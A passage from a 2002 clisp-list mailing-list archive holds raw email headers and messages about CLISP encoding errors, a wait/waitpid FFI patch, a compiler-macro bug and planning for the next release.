(8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id IAA01826; Thu, 28 Feb 2002 08:44:58 -0600 Received: from localhost ([127.0.0.1] helo=localhost.home ident=ibum) by localhost with smtp (Exim 3.12 #1 (Debian)) id 16gRlM-0005EB-00; Thu, 28 Feb 2002 08:42:28 -0600 To: Eric Marsden Cc: Subject: Re: [clisp-list] Pg.lisp problem References: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> From: IBMackey In-Reply-To: Eric Marsden's message of "Tue, 26 Feb 2002 16:39:31 +0100" Message-ID: <87k7sx7jn0.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> Lines: 32 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.4 (Artificial Intelligence) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 06:42:10 2002 X-Original-Date: 28 Feb 2002 08:42:27 -0600 Hi! Installed version 2.27 of clisp. Upon loading pg.lisp, the following error was reported -- *** - invalid byte #xF8 in CHARSET:ASCII conversion i.b. Eric Marsden writes: > >>>>> "ib" == IBMackey writes: > > ib> Tried to load marsden's pg.lisp into clisp. Got error: > ib> READ from # ib> #P"/home/ibum/Clisp/pg.lisp" > ib> @1109>: there is no package with name "SOCKET" > > you seem to be using an old version of CLISP (please include the > version number and platform in problem reports). If you read the > comments around the line number indicated by CLISP, you will see > > ;; prior to version 2.26 of CLISP this should read lisp:socket-connect > ;; instead. > > -- > Eric Marsden > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From emarsden@laas.fr Thu Feb 28 07:10:44 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16gSCf-0001GJ-00 for ; Thu, 28 Feb 2002 07:10:41 -0800 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g1SFAWAp004247; Thu, 28 Feb 2002 16:10:33 +0100 (CET) Received: (from emarsden@localhost) by dukas.laas.fr (8.11.1/8.11.1) id g1SFAWG11516; Thu, 28 Feb 2002 16:10:32 +0100 (MET) To: IBMackey Cc: Subject: Re: [clisp-list] Pg.lisp problem References: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> <87k7sx7jn0.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Message-Flags: Your message contained insufficient voltage X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: <87k7sx7jn0.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> (IBMackey's message of "28 Feb 2002 08:42:27 -0600") Message-ID: Lines: 21 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by laas.laas.fr id g1SFAWAp004247 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 07:12:53 2002 X-Original-Date: Thu, 28 Feb 2002 16:10:32 +0100 >>>>> "ib" =3D=3D IBMackey writes: ib> Installed version 2.27 of clisp. Upon loading pg.lisp, the followin= g ib> error was reported -- ib>=20 ib> *** - invalid byte #xF8 in CHARSET:ASCII conversion yes, you can blame Johannes Gr=F8dem for not having a boring ASCII name. Please read the section on Encodings in the CLISP implementation notes. You will find that it now defaults to being able to read only ASCII-encoded files; if you want it to be a little more European you need to put something like the following in your ~/.clisprc.lisp file: =20 #+unicode (setf custom:*default-file-encoding* (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix)) Have fun, --=20 Eric Marsden From samuel.steingold@verizon.net Thu Feb 28 10:49:37 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gVcV-0008TN-00 for ; Thu, 28 Feb 2002 10:49:36 -0800 Received: from gnu.org ([151.203.224.254]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020228184925.EUCW22012.out020.verizon.net@gnu.org>; Thu, 28 Feb 2002 12:49:25 -0600 To: Jeremy Doolin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp References: <1014854608.32240.95.camel@zeus> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1014854608.32240.95.camel@zeus> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 10:50:08 2002 X-Original-Date: 28 Feb 2002 13:45:25 -0500 > * In message <1014854608.32240.95.camel@zeus> > * On the subject of "[clisp-list] Relatively new to Clisp" > * Sent on 27 Feb 2002 19:03:28 -0500 > * Honorable Jeremy Doolin writes: > > I am using the (execute ..) function for executing commands. > Regardless if I use this or (run-program ..), my shell is dependent > upon another shell. this is not true. EXECUTE on UNIX calls vfork/execv/wait2 > Another problem is when I give the shell an S-expression with an error. > For example, (car "foo"). If this happens, the entire shell exits. maybe you should handle the errors in your shell? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I'd give my right arm to be ambidextrous. From samuel.steingold@verizon.net Thu Feb 28 11:02:41 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gVpA-0003go-00 for ; Thu, 28 Feb 2002 11:02:40 -0800 Received: from gnu.org ([151.203.224.254]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020228190236.PQHI7202.out001.verizon.net@gnu.org>; Thu, 28 Feb 2002 13:02:36 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Relatively new to Clisp References: <1014854608.32240.95.camel@zeus> <20020228084617.A134@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020228084617.A134@localhost.localdomain> Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 11:03:07 2002 X-Original-Date: 28 Feb 2002 13:58:39 -0500 > * In message <20020228084617.A134@localhost.localdomain> > * On the subject of "Re: [clisp-list] Relatively new to Clisp" > * Sent on Thu, 28 Feb 2002 08:46:17 +0100 > * Honorable Peter Wood writes: > > For some reason, wait() and waitpid() are not included in linux.lisp. try the appended patch (with the CVS CLISP) and see wrap.lisp for usage of the :out args. if it does what you want, I will commit the patch. > Clisp has pipes, but they use the shell (I think). shell is cheap (100k /bin/ash). i/o redirection is not quite trivial. I do not want to re-implement BASH in the CLISP's C substrate. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Trespassers will be shot. Survivors will be SHOT AGAIN! Index: linux.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/modules/bindings/linuxlibc6/linux.lisp,v retrieving revision 1.5 diff -u -w -b -u -b -w -i -B -r1.5 linux.lisp --- linux.lisp 28 Feb 2002 18:36:53 -0000 1.5 +++ linux.lisp 28 Feb 2002 18:50:59 -0000 @@ -1822,6 +1822,18 @@ (:return-type pid_t) ) +(c-lines "#include ~%") + +(def-c-call-out wait + (:arguments (status (c-ptr int) :out :alloca)) + (:return-type pid_t)) + +(def-c-call-out waitpid + (:arguments (pid pid_t) + (status (c-ptr int) :out :alloca) + (options int)) + (:return-type pid_t)) + (def-c-call-out ttyname (:arguments (fd int)) (:return-type c-string) ) From geoffs@progressive-solutions.com Thu Feb 28 14:29:42 2002 Received: from sentry.npsnet.com ([192.139.120.61]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gZ3V-0000o7-00 for ; Thu, 28 Feb 2002 14:29:41 -0800 Received: from pacific.progressive-solutions.com ([192.139.123.82]) by sentry.npsnet.com (8.9.1/8.9.1) with ESMTP id OAA15019 for ; Thu, 28 Feb 2002 14:28:40 -0800 (PST) Received: from vineyard.progressive-solutions.com (vineyard [192.9.201.14]) by pacific.progressive-solutions.com (8.11.1/8.11.1) with ESMTP id g1SMLXU29059 for ; Thu, 28 Feb 2002 14:21:33 -0800 (PST) Received: from geoffspc ([192.168.101.25]) by vineyard.progressive-solutions.com (AIX4.3/8.9.3/8.8.8) with SMTP id OAA105872 for ; Thu, 28 Feb 2002 14:19:52 -0800 Message-ID: <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> From: "Geoff Summerhayes" To: Organization: Progressive Solutions Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] BUG?--DEFINE-COMPILER-MACRO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 14:30:50 2002 X-Original-Date: Thu, 28 Feb 2002 17:28:41 -0500 Are compiler macros being used by the compiler? I tried ====================================================== (defun my-plus (&rest args)(apply #'+ args)) (define-compiler-macro my-plus (&whole form &rest args) (case (length args) (0 0) (1 (car args)) (t (let ((total 0) (new-arg-list nil)) (mapcar #'(lambda (arg) (cond ((constantp arg)(incf total arg)) (t (push arg new-arg-list)))) args) (cond ((null new-arg-list) total) ((or (> (length args) (+ 1 (length new-arg-list)))) `(my-plus ,total ,@(nreverse new-arg-list))) (t form)))))) (defun foo() (my-plus 1 2 3 4 (my-plus 5 6 7) 8 9)) ======================================================= This works, (funcall (compiler-macro-function 'my-plus) '(my-plus 1 2 3 (my-plus 4 5 6) 7 8 9) nil) ==> (MY-PLUS 30 (MY-PLUS 4 5 6)) but this (compile 'foo) ==> FOO ; NIL ; NIL (disassemble #'foo) ==> Disassembly of function FOO (CONST 0) = 1 (CONST 1) = 2 (CONST 2) = 3 (CONST 3) = 4 (CONST 4) = 5 (CONST 5) = 6 (CONST 6) = 7 (CONST 7) = MY-PLUS (CONST 8) = 8 (CONST 9) = 9 0 required arguments 0 optional arguments No rest parameter No keyword parameters 0 (CONST&PUSH 0) ; 1 1 (CONST&PUSH 1) ; 2 2 (CONST&PUSH 2) ; 3 3 (CONST&PUSH 3) ; 4 4 (CONST&PUSH 4) ; 5 5 (CONST&PUSH 5) ; 6 6 (CONST&PUSH 6) ; 7 7 (CALL&PUSH 3 7) ; MY-PLUS 10 (CONST&PUSH 8) ; 8 11 (CONST&PUSH 9) ; 9 12 (CALL 7 7) ; MY-PLUS 15 (SKIP&RET 1) # show no optimization at all, did I miss something? -------------- Geoff From ibum@hillcountry.net Thu Feb 28 14:52:18 2002 Received: from genesis.hillcountry.net ([207.235.18.194]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gZPM-0007KP-00 for ; Thu, 28 Feb 2002 14:52:17 -0800 Received: from localhost (hcn161.hillcountry.net [208.246.49.161] (may be forged)) by genesis.hillcountry.net (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA09160; Thu, 28 Feb 2002 16:55:43 -0600 Received: from localhost ([127.0.0.1] helo=localhost.home ident=ibum) by localhost with smtp (Exim 3.12 #1 (Debian)) id 16gZQ7-0007NG-00; Thu, 28 Feb 2002 16:53:03 -0600 To: Eric Marsden Cc: Subject: Re: [clisp-list] Pg.lisp problem References: <87sn7os1gv.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> <87k7sx7jn0.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> From: IBMackey In-Reply-To: Eric Marsden's message of "Thu, 28 Feb 2002 16:10:32 +0100" Message-ID: <87sn7l6wxf.fsf@localhost.i-did-not-set--mail-host-address--so-shoot-me> Lines: 34 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.4 (Artificial Intelligence) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by genesis.hillcountry.net id QAA09160 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 14:53:02 2002 X-Original-Date: 28 Feb 2002 16:53:00 -0600 Thanks Eric, I put that code in ".clisprc" and pg.lisp loads fine. Now for the fun! i.b. Eric Marsden writes: > >>>>> "ib" =3D=3D IBMackey writes: >=20 > ib> Installed version 2.27 of clisp. Upon loading pg.lisp, the follow= ing > ib> error was reported -- > ib>=20 > ib> *** - invalid byte #xF8 in CHARSET:ASCII conversion >=20 > yes, you can blame Johannes Gr=F8dem for not having a boring ASCII name. > Please read the section on Encodings in the CLISP implementation > notes. You will find that it now defaults to being able to read only > ASCII-encoded files; if you want it to be a little more European you > need to put something like the following in your ~/.clisprc.lisp file: > =20 > #+unicode > (setf custom:*default-file-encoding* > (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix)) >=20 > Have fun, >=20 > --=20 > Eric Marsden >=20 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From tfb@ocf.berkeley.edu Thu Feb 28 14:55:48 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gZSl-0008SE-00 for ; Thu, 28 Feb 2002 14:55:47 -0800 Received: from conquest.OCF.Berkeley.EDU (daemon@conquest.OCF.Berkeley.EDU [128.32.191.90]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g1SMti510468; Thu, 28 Feb 2002 14:55:44 -0800 (PST) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.6/8.10.2) id g1SMtis27473; Thu, 28 Feb 2002 14:55:44 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <15486.46448.118251.330833@conquest.OCF.Berkeley.EDU> To: "Geoff Summerhayes" Cc: Subject: [clisp-list] BUG?--DEFINE-COMPILER-MACRO In-Reply-To: <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> References: <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 14:56:11 2002 X-Original-Date: Thu, 28 Feb 2002 14:55:44 -0800 Geoff Summerhayes writes: > Are compiler macros being used by the compiler? Well, they aren't, that's unfortunate, but completely conforming. To quote the spec =A73.2.2.1.3 "When Compiler Macros Are Used": The presence of a compiler macro definition for a function or macro indicates that it is desirable for the compiler to use the expansion of the compiler macro instead of the original function form or macro form. However, no language processor (compiler, evaluator, or other code walker) is ever required to actually invoke compiler macro functions, or to make use of the resulting expansion if it does invok= e a compiler macro function. --=20 /|_ .-----------------------. =20 ,' .\ / | No to Imperialist war | =20 ,--' _,' | Wage class war! | =20 / / `-----------------------' =20 ( -. | =20 | ) | =20 (`-. '--.) =20 `. )----' =20 From tsabin@optonline.net Thu Feb 28 15:00:23 2002 Received: from ool-435185-147.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gZXC-0001Fy-00 for ; Thu, 28 Feb 2002 15:00:22 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id SAA19053; Thu, 28 Feb 2002 18:00:15 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Sun, 24 Feb 2002 00:30:28 -0500") Message-ID: Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 15:01:04 2002 X-Original-Date: 28 Feb 2002 18:00:15 -0500 Sam Steingold writes: > > * In message <20020223190952.A1918@apal.ii.uib.no> > > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > > * Sent on Sat, 23 Feb 2002 19:09:52 +0100 > > * Honorable Stig E Sandoe writes: > > > > do you have an estimate when this (imho important) fix comes > > in a released clisp? ie when will the next clisp be released, > > it has been quite awhile, and looking at clisp-devel it seems > > to me that current cvs contains many important bug-fixes. > > read CLISP/src/ChangeLog, find the bug you need, get the fixes you need > from the CVS, apply the patches, build from the sources. Are there things that you feel need to be done before the next release? In other words, are there things people can do (besides donate funding) to hasten the next release of clisp? Todd From samuel.steingold@verizon.net Thu Feb 28 17:49:02 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gcAO-0004UE-00 for ; Thu, 28 Feb 2002 17:49:00 -0800 Received: from gnu.org ([151.203.224.254]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020301014859.QXND14462.out002.verizon.net@gnu.org>; Thu, 28 Feb 2002 19:48:59 -0600 To: "Geoff Summerhayes" Cc: Subject: Re: [clisp-list] BUG?--DEFINE-COMPILER-MACRO References: <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 17:50:01 2002 X-Original-Date: 28 Feb 2002 20:44:56 -0500 > * In message <014f01c1c0a7$473b61f0$1965a8c0@geoffspc> > * On the subject of "[clisp-list] BUG?--DEFINE-COMPILER-MACRO" > * Sent on Thu, 28 Feb 2002 17:28:41 -0500 > * Honorable "Geoff Summerhayes" writes: > > Are compiler macros being used by the compiler? yes - since CLISP 2.26. [your example uncovered a bug which I just fixed - thanks :-] -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Yeah, yeah, I love cats too... wonna trade recipes? From jdoolin@cs.ohiou.edu Thu Feb 28 19:58:09 2002 Received: from oak.cats.ohiou.edu ([132.235.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16geBK-0005Eu-00 for ; Thu, 28 Feb 2002 19:58:06 -0800 Received: from dhcp-166-025.east-green.ohiou.edu (dhcp-166-025.east-green.ohiou.edu [132.235.166.25]) by oak.cats.ohiou.edu (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id g213v7dK015988 for ; Thu, 28 Feb 2002 22:57:07 -0500 (EST) From: Jeremy Doolin To: clisp-list@lists.sourceforge.net Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-y9Hth+of8ObJJEbQmkEv" X-Mailer: Evolution/1.0.1 Message-Id: <1014955096.32292.111.camel@zeus> Mime-Version: 1.0 Subject: [clisp-list] Compiling to machine code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 19:59:02 2002 X-Original-Date: 28 Feb 2002 22:58:16 -0500 --=-y9Hth+of8ObJJEbQmkEv Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I was wondering if there was any plans for making CLISP compile to machine code. I like everything about CLISP except for the fact that it can't do that. Jeremy Doolin --=20 May all your disgraces be private --=-y9Hth+of8ObJJEbQmkEv Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8fvxXB8Bt+2K9+/4RAnfXAKCFwQOiTpHkyJYN3gU+TL1ZX4X/yQCeI7Bz L6brWQ+7531gD0Go/s6eJZ0= =zVAC -----END PGP SIGNATURE----- --=-y9Hth+of8ObJJEbQmkEv-- From don-sourceforge@isis.cs3-inc.com Thu Feb 28 20:35:23 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gelO-000824-00 for ; Thu, 28 Feb 2002 20:35:22 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g214XoD31752; Thu, 28 Feb 2002 20:33:50 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15487.1197.848610.967257@isis.cs3-inc.com> To: Jeremy Doolin Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Compiling to machine code In-Reply-To: <1014955096.32292.111.camel@zeus> References: <1014955096.32292.111.camel@zeus> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 20:36:04 2002 X-Original-Date: Thu, 28 Feb 2002 20:33:49 -0800 Jeremy Doolin writes: > I was wondering if there was any plans for making CLISP compile to > machine code. I like everything about CLISP except for the fact that it > can't do that. Why does this matter to you? Is it that you like to read machine code? If your real problem is speed then you should say so. But then it would make sense to be more specific about what it is that you need to be how much faster. One of the things I like about clisp is the fact that the compiled code is portable. (Did you know that?) And that would be lost by compiling to machine code. From samuel.steingold@verizon.net Thu Feb 28 20:53:39 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16gf34-0003In-00 for ; Thu, 28 Feb 2002 20:53:38 -0800 Received: from gnu.org ([151.203.224.254]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020301045341.OBQZ29231.out007.verizon.net@gnu.org>; Thu, 28 Feb 2002 22:53:41 -0600 To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] next release References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 20:54:11 2002 X-Original-Date: 28 Feb 2002 23:49:20 -0500 > * In message > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on 28 Feb 2002 18:00:15 -0500 > * Honorable Todd Sabin writes: > > Are there things that you feel need to be done before the next > release? I just committed the last (3rd) pre-test. All the brave, please do "cvs up" and try it out. I added weak hash-tables, which necessitated yet another fas-file format change - the last before the release (I wanted to get weak HTs into 2.28 because I want to avoid fas-file format changes for some time). Now, the things on the TODO list (FIUAR = "Forget It Until After Release"): 1. trace of flet/label locals (me, FIUAR) 2. Todd's patches (require Bruno's approval, FIUAR) 3. iconv compilation issues on some platforms (Bruno) 4. Solaris/gcc3/FFC failures (Bruno) 5. format/pplb, other pretty-print issues (me, FIUAR) 6. message translations; so far we have Stefan doing the German messages. We need French, Spanish and Dutch. Arseny, are you doing Russian? 7. libltdl integration for portability of dynamic modules, including woe32 (Bruno, FIUAR) 8. dirkey/ldap (me, FIUAR) 9. linux.lisp wait/waitpid patch needs to be tested and comitted... ... Bruno is very busy, so we will not wait for him (unless he speaks up and tells us to wait :-), even though the release quality will probably suffer. thus: as soon as the message translations are in, the release is out. you are _very_ welcome to pick up the aforementioned tasks, especially 5&8. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I'm a Lisp variable -- bind me! From ampy@ich.dvo.ru Thu Feb 28 22:20:00 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ggOT-0003Hq-00 for ; Thu, 28 Feb 2002 22:19:50 -0800 Received: (qmail 14654 invoked from network); 1 Mar 2002 06:19:27 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 1 Mar 2002 06:19:27 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Fri, 01 Mar 2002 16:18:57 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <19224769176.20020301161857@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] next release In-reply-To: References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 28 22:20:03 2002 